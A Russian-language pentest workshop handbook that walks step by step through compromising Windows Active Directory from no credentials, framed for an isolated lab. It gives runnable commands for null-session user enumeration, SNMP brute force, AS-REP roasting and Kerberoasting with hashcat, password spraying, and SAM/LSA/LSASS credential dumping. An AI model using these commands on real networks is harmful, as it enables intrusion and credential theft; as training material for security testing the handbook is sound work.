

Методичка: Практические приемы компрометации внутренней инфраструктуры с минимальными привилегиями

В рамках данного воркшопа мы рассмотрим простые, но эффективные приемы получения доступа к внутренней инфраструктуре в среде Windows Active Directory, используя реальные ошибки, которые допускаются в большинстве компаний. Эти атаки особенно эффективны на начальном этапе анализа защищенности внутренней корпоративной сети, когда у атакующего нет доменной учётной записи и он использует доступные ему стандартные механизмы и протоколы.

Все команды предназначены для ОС Linux. Перед началом убедитесь, что:

1. У вас есть доступ к целевой сети
2. Используется изолированная лабораторная среда Windows Active Directory
3. Установлен дистрибутив Kali Linux или любой другой дистрибутив Linux
4. Используемый инструментарий загружен и установлен

1. Discovery: Поиск контроллера домена (Domain Controller)

Зачем это нужно?

Определение адреса контроллера домена (DC) - это первый шаг для понимания структуры сети. Контроллер домена управляет аутентификацией и является главной целью для сбора данных и дальнейших атак.

Поиск с использованием nslookup

DNS SRV

```
nslookup -type=srv _ldap._tcp.dc._msdcs.$FQDN_DOMAIN
```

Kerberos SRV

```
nslookup -type=srv _kerberos._tcp.$FQDN_DOMAIN
```

Описание флагов:

-type=srv: Запрашивает у DNS-сервера запись типа SRV (Service record), которая позволяет найти IP-адреса хостов, предоставляющих конкретную службу (например, LDAP или Kerberos) в домене.

Альтернативный поиск через nmap

```
nmap --script broadcast-dhcp-discover
```

```
nmap --script dns-srv-enum --script-args dns-srv-enum.domain=$FQDN_DOMAIN
```

Описание флагов:

--script: Указывает конкретный скрипт или категорию скриптов (NSE) для выполнения Nmap.

--script-args: Передает дополнительные аргументы, требуемые для корректной работы указанного скрипта (в данном случае мы передаем имя домена).

2. Сбор удаленных сетевых интерфейсов (Network Mapping: DCOM/RPC)

Что это за техника?

Картографирование сети позволяет атакующему обнаружить максимальное количество потенциальных машин для компрометации. Запрос к DCE-RPC позволяет привязаться к интерфейсу IOXIDResolver (используя метод ServerAlive2), чтобы получить внутренние сетевые адреса машин без аутентификации.

Выполнение разведки с помощью IOXIDResolver

```
cat ip-ips.txt | xargs -I IP python IOXIDResolver.py -t IP
```

Описание флагов:

-i IP (xargs): Задаёт строку-подстановку, которая будет заменяться на каждую прочитанную строку из файла ip-ips.txt.

-t (IOXIDResolver): Задаёт целевой IP-адрес (Target) для сканирования.

3. Определение статуса SMB Signing (SMB Relay Preparation)

Зачем это нужно?

Для проведения SMB Relay атаки (ретрансляции аутентификации) необходимо найти цели, у которых отключена обязательная подпись SMB (SMB Signing). Это позволяет получить доступ к машине жертвы без взлома пароля.

Поиск уязвимых целей с помощью утилиты RunFinger из состава пакета Responder

```
python3 RunFinger.py -i ip/prefix
```

Описание флагов:

-i: Задаёт целевой IP-адрес или подсеть в формате CIDR (например, 192.168.1.0/24) для проведения проверки.

4. Сканирование SNMP (SNMP Enumeration)

Что это за техника?

Сканер SNMP отправляет запросы на множество IP-адресов, пытаясь подобрать правильную строку сообщества (community string) - своеобразный пароль. Если перебор успешен, можно получить массу ценной системной информации.

Быстрый перебор community strings по словарю с помощью onesixtyone

```
onesixtyone -c snmp_pass.txt ip/prefix -o output.txt
```

Описание флагов:

-c: Указывает путь к файлу со словарем строк сообщества для перебора.

-o: Задаёт файл для сохранения успешных результатов.

5. AS-REPRoasting (без аутентификации)

Что это за атака?

AS-REPRoasting - одна из немногих атак на Kerberos, не требующая изначального доступа к домену. Если у учетной записи пользователя включена настройка «Не требовать предварительную проверку подлинности Kerberos», атакующий может запросить зашифрованный TGT-билет от имени этого пользователя и взломать его оффлайн.

Запрос хэшей для списка пользователей с помощью утилиты GetNPUsers из состава пакета Impacket

```
GetNPUsers.py domain.local/ -no-pass -usersfile users.txt -request
```

Описание флагов:

-no-pass: Выполняет запрос без использования пароля.

-usersfile: Позволяет передать файл со списком доменных пользователей для проверки.

-request: Иницирует запрос TGT и выводит полученный хэш на экран в формате, пригодном для взлома.

Взлом через hashcat (режим 18200)

```
hashcat -m 18200 hashes.txt rockyou.txt
```

Описание флагов:

-m 18200: Указывает тип взламываемого хэша (в данном случае Kerberos 5 AS-REP etype 23).

6. Базовая разведка SMB (SMB Recon)

Что это дает?

Протокол SMB позволяет собрать множество данных о Windows-системах вообще без авторизации: IP-адреса, локальные имена, версии Windows, статус SMB-подписи и доменные имена.

Общее перечисление SMB-хостов

```
crackmapexec smb ip/prefix
```

Поиск хостов с отключенной подписью SMB (создание списка для Relay-атаки)

```
crackmapexec smb ip/prefix --gen-relay-list targets.txt
```

Описание флагов:

smb: Выбор протокола, по которому инструмент будет взаимодействовать с целями.

--gen-relay-list: Анализирует статус SMB Signing на хостах и записывает уязвимые адреса (где подпись не требуется) в указанный файл.

7. Эксплуатация анонимного доступ (NULL Session)

Что это за атака?

NULL-сессия - это анонимное подключение к сетевым сервисам Windows. Если контроллер домена уязвим, атакующий без логина и пароля может выгрузить список всех доменных пользователей, групп, парольную политику и общие папки.

Извлечение политики паролей

```
crackmapexec smb 10.129.203.121 -u "" -p "" --pass-pol
```

Извлечение списка пользователей

```
crackmapexec smb 10.129.203.121 -u "" -p "" --users
```

Проверка доступных сетевых шар без пароля или через пользователя guest

```
crackmapexec smb 10.129.203.121 -u guest -p "" --shares
```

Описание флагов:

-u "" -p "": Использование пустых кавычек означает попытку аутентификации без логина и пароля (Null Session).

-u guest: Попытка аутентификации от имени встроенного гостевого пользователя.

--pass-pol: Выгружает доменную политику паролей (минимальная длина, история паролей).

--users: Выгружает список пользователей из системы.

--shares: Запрашивает список общих сетевых папок.

8. Атака методом распыления паролей (Password Spraying)

Что это за атака?

Имея на руках политику паролей и список пользователей, мы генерируем один вероятный пароль (например, ИмяКомпании2023!) и проверяем его сразу по всему списку пользователей. Это позволяет избежать блокировки учетных записей (Account Lockout).

Спреинг одного пароля по списку пользователей (domain auth)

```
crackmapexec smb target -u users.txt -p pass
```

Проверка переиспользования пароля локального администратора (local auth)

```
crackmapexec smb target -u users.txt -p pass --local-auth
```

Описание флагов:

-u: Указывает путь к файлу со списком пользователей для подбора.

-p: Указывает проверяемый пароль в открытом виде (или файл с паролями).

--local-auth (рекомендуемый флаг для второго случая): Указывает CME проверять пароли в локальной базе SAM хоста, а не в Active Directory.

9. Kerberoasting

Что это за атака?

Инструмент запрашивает сервисные билеты (TGS) для аккаунтов, имеющих Service Principal Name (SPN). Полученные билеты содержат зашифрованные данные, которые можно взломать оффлайн для получения пароля сервисного аккаунта.

Сбор TGS билетов в формате для взлома с помощью утилиты GetUserSPNs из состава пакета Impacket

```
GetUserSPNs.py domain.local/user -request
```

Описание флагов:

-request: Автоматически запрашивает TGS-билеты для найденных SPN-пользователей и выводит их хэши в терминал.

Оффлайн взлом через Hashcat (режим 13100)

```
hashcat -m 13100 hashes.txt rockyou.txt
```

Описание флагов:

-m 13100: Указывает тип взламываемого хэша (в данном случае Kerberos 5 TGS-REP etype 23).

10. Расширенная разведка (Credentialed Enumeration)

Зачем это нужно?

Получив начальный доступ с правами обычного пользователя, можно глубоко изучить структуру домена: связи, права, GPO и активные сессии администраторов на серверах.

Поиск активных сессий (Logged On Users)

Цель: найти сервер, на котором в данный момент авторизован доменный администратор, чтобы в дальнейшем украсть его токен или хэш из памяти.

```
crackmapexec smb 192.168.1.1 -u user -p pass --loggedon-users
```

Описание флагов:

--loggedon-users: Выполняет удаленный запрос к целевой системе, чтобы узнать, какие пользователи в данный момент на ней авторизованы.

11. Поиск данных в сетевых папках (Spidering Shares)

Что мы ищем?

Корпоративные общие папки часто содержат конфигурационные файлы, скрипты с зашифрованными паролями и конфиденциальные документы

Проверка доступа к общим папкам с валидной учеткой

```
smbmap -u user -p pass -H target -R
```

Рекурсивный листинг содержимого директорий с помощью smbmap

```
smbmap -u user -p pass -d domain.local -H 192.168.1.5 -R 'Target Shares' --dir-only
```

Описание флагов:

-u / -p: Учетные данные доменного пользователя.

-H: Указывает целевой хост (IP-адрес или имя).

-d: Указывает целевой домен.

-R: Выполняет рекурсивный листинг директорий (добавляя имя папки, ограничивает поиск только по ней).

--dir-only: Отображает в выводе только директории, скрывая файлы для удобства просмотра структуры.

12. Извлечение секретов (SAM, LSA, LSASS)

Что это за атака?

Имея права локального администратора на скомпрометированной машине, можно извлечь локальные пароли (база SAM), кэшированные учетки домена (LSA Secrets) и пароли в открытом виде из памяти системного процесса (LSASS).

Дамп базы SAM (локальные хэши)

```
crackmapexec smb target -u user -p pass --sam
```

Дамп секретов LSA и кэшированных учеток домена

```
crackmapexec smb target -u user -p pass --lsa
```

Дамп памяти процесса LSASS (Cleartext пароли и хэши)

```
crackmapexec smb target -u user -p pass -M lsassy
```

Описание флагов:

--sam: Запрашивает дамп локальной базы данных Security Account Manager, вытягивая локальные NTLM-хэши.

--lsa: Дампит секреты локального центра безопасности (LSA Secrets), где могут лежать пароли сервисов и кэшированные доменные хэши.

-M lsassy: Вызывает внешний модуль CME для работы с оперативной памятью процесса lsass.exe для извлечения хэшей и паролей открытым текстом.

13. Используемые инструменты

dnsutils / bind-utils (включает nslookup)

Описание:

Набор утилит для тестирования и запросов к серверам DNS.

Установка (Debian/Kali):

```
sudo apt install dnsutils
```

Nmap

Официальный репозиторий:

<https://github.com/nmap/nmap>

Установка:

```
sudo apt install nmap
```

IOXIDResolver

Официальный репозиторий:

<https://github.com/mubix/IOXIDResolver>

Установка:

```
git clone https://github.com/mubix/IOXIDResolver.git
```

Responder (включает скрипт RunFinger.py)

Официальный репозиторий:

<https://github.com/lgandx/Responder>

Установка:

```
git clone https://github.com/lgandx/Responder.git
```

onesixtyone

Официальный репозиторий:

<https://github.com/trailofbits/onesixtyone>

Установка:

```
sudo apt install onesixtyone
```

Impacket (включает GetNPUsers.py и GetUserSPNs.py)

Официальный репозиторий:

<https://github.com/fortra/impacket>

Установка:

```
sudo apt install python3-impacket или pipx install impacket
```

Hashcat

Официальный репозиторий:

<https://github.com/hashcat/hashcat>

Установка:

```
sudo apt install hashcat
```

CrackMapExec (актуальный форк: NetExec)

Официальный репозиторий CME:

<https://github.com/Porchetta-Industries/CrackMapExec>

Официальный репозиторий NetExec:

<https://github.com/Pennyw0rth/NetExec> (Рекомендуется использовать его, так как CME больше не поддерживается).

Установка:

```
sudo apt install crackmapexec или pipx install netexec
```

SMBMap

Официальный репозиторий:

<https://github.com/ShawnDEvans/smbmap>

Установка:

```
sudo apt install smbmap или python3 -m pip install smbmap
```